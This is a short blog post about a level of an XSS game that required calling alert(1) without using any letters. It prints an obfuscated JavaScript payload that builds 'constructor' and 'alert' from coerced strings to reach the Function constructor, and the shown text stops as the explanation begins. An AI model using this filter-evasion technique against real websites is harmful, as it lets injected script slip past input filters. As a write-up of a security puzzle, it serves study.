October 2015

Constructing an XSS vector, using no letters

At the risk of spoiling a somewhat-well-known XSS game, I want to share an XSS vector I had never thought of before it forced me to. The premise of this level was, essentially, that you couldn’t use any letters whatsoever in the attack vector, and you had to call alert(1).

So, without further ado, here it is:

""[(!1+"")[3]+(!0+"")[2]+(''+{})[2]][(''+{})[5]+(''+{})[1]+((""[(!1+"")[3]+(!0+"")[2]+(''+{})[2]])+"")[2]+(!1+'')[3]+(!0+'')[0]+(!0+'')[1]+(!0+'')[2]+(''+{})[5]+(!0+'')[0]+(''+{})[1]+(!0+'')[1]](((!1+"")[1]+(!1+"")[2]+(!0+"")[3]+(!0+"")[1]+(!0+"")[0])+"(1)")()

What a mess, right?! What the hell are we doing here? Let’s take it piece-by-piece.

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